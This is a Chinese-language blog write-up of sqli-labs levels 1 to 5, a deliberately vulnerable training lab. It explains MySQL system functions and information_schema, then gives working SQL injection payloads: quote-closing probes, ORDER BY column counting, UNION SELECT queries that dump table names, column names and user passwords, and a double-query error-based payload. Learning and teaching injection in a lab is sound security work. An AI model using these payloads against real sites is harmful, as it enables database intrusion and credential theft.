作者:Szrzvdny(即刻安全)
如需转载请联系原作者,并注明来源!
环境:php+mysql+apche
虽然sql注入接触过不少,其实也不太多,但是不系统,那就通过sqli-libs系统学习总结一下吧
开始之前先分享一点基础知识
为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)
常用系统函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
字符串连接函数
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据 说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
一般用于测试是否存在注入
?? and 1=2–+
‘and 1=2–+
“and 1=2–+
)and 1=2–+
‘)and 1=2–+
“)and 1=2–+
“))and 1=2–+
一般的代码为: $id=$_GET[‘id’]; $sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”; 此处考虑两个点,一个是闭合前面你的 ‘ 另一个是处理后面的 ‘ ,一般采用两种思 路,闭合后面的引号或者注释掉,注释掉采用–+ 或者 #(%23)
编码
Less 1-5
Less1 GET – Error based – Single quotes – String(基于错误的GET单引号字符型注入)
首先看看sql语句执行代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以看见他的$id被单引号给扩了起来,明显注入的时候需要用单引号闭合前面的单引号然后闭合后面的单引号。
' and 1=2 --+
那么猜字段
' order by 4 --+
可以看见没有第四列,所以只有三个字段,下面直接用union来查询
' union select 1,2,3 --+
发现并没有显示位,但是在mysql中查询确实有的。
那么我们看一下代码:
$result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; }
看第二行,可以看到函数mysql_fetch_array只被调用了一次,而mysql_fetch_array()函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有,具体看你第二个参数是什么,具体可以看函数作用
那么我们只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行
下面就真正查询数据库的各种信息了(可以看到只有第2列和第3列的结果显示在网页上),所以我们就只能用2,3这个位置了,但是两个位置应该是不够用的,这时我们就用到数据库的连接函数了,在上面我也说了。
concat_ws(char(32,58,32),user(),database(),version())
接下来查询数据库中有哪些库
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
SCHEMATA表
储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表
储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表
提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
具体可以看:Mysql数据库information_schema系统表说明
' union select 1,2,schema_name from information_schema.schemata limit 0,1 --+
这时候又出现了一个问题
只能返回一个数据,具体为什么上面也已经解释了这时候有两个办法解决:
1:limit第一个参数是结果集中的第几个,跟C语言的数组的索引一致,第二个参数就是个数如 limit 1,2 :返回第二行和第三行,因为1表示是第二行,2表示行数是2
2:使用group_concat与concat_ws,两个的用途上面也已经解释了
可以看见他全部返回了,这类方法我也是常用的。接下来查询security库中的表
' union select 1,2,group_concat(concat_ws(0x23,table_name)) from information_schema.tables where table_schema='security' --+
这里要说一下查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了
可以看见,返回的跟phpmyadmin中的是一样的
接下来列举users的列名,因为一般我们只关心用户的账号密码,有了它其他的登陆后一般就能查看了,拿到管理员的就最好不过了
' union select 1,2,group_concat(concat_ws(0x23,column_name)) from information_schema.columns where table_name='users' --+
那么最后一步了,那就简单了,直接select出来就好
' union select 1,2,concat(char(32,58,32),username,password) from users limit 0,3 --+
第一个就说得详细一点,后面的有不一样的地方在详细说
Less 2 GET – Error based – Intiger based (基于错误的GET整型注入)
这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号),不写单引号的注入就更简单了
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
因为完全不用闭合‘或者注释后面的’,但因为这里只是从结果集获取1行数据,要获取全部数据还是要注释后面的,直接用字符串连接函数就行
利用与上面基本相同,只是把下面的话就-1右边的单引号去掉就可以了
union select 1,2,concat(char(32,58,32),username,password) from users limit 0,3 --+
Less 3GET – Error based – Single quotes with twist string (基于错误的GET单引号变形字符型注入)
首先丢个单引号看看
通过上面两个例子,可以大概猜出来sql语句是这样的
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
那么跟之前的一样,使用‘)闭合前面然后注释后面就行了
') union select 1,2,concat(char(32,58,32),username,password) from users limit 0,3 --+
Less 4 GET – Error based – Double Quotes – String (基于错误的GET双引号字符型注入)
直接上单引号,发现没有报错,这是为什么呢,因为php中双引号可以包含单引号
那么基本可以确认sql语句为:
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
所以我们在判断注入时,要加入双引号进行判断哦,而且从上图可看到右括号,那么我们要用右括号闭合左括号
那么用法跟上面一样
") union select 1,2,concat(char(32,58,32),username,password) from users limit 0,3 --+
Less 5 GET – Double Injection – Single Quotes – String (双注入GET单引号字符型注入)
双注入?我也讲不太清楚,直接丢资料吧。详细讲解双查询注入
' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+ ' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
这里有一定的随机性,所以有时候需要多刷新几遍。
这里不得不提一下Mochazz师傅活生生的做成了盲注QAQ
ok,一波五篇,今天先这样~有那里不对可以加群艾特我指正出来~
转载请注明:即刻安全 » sqli-labs通关集(1-5)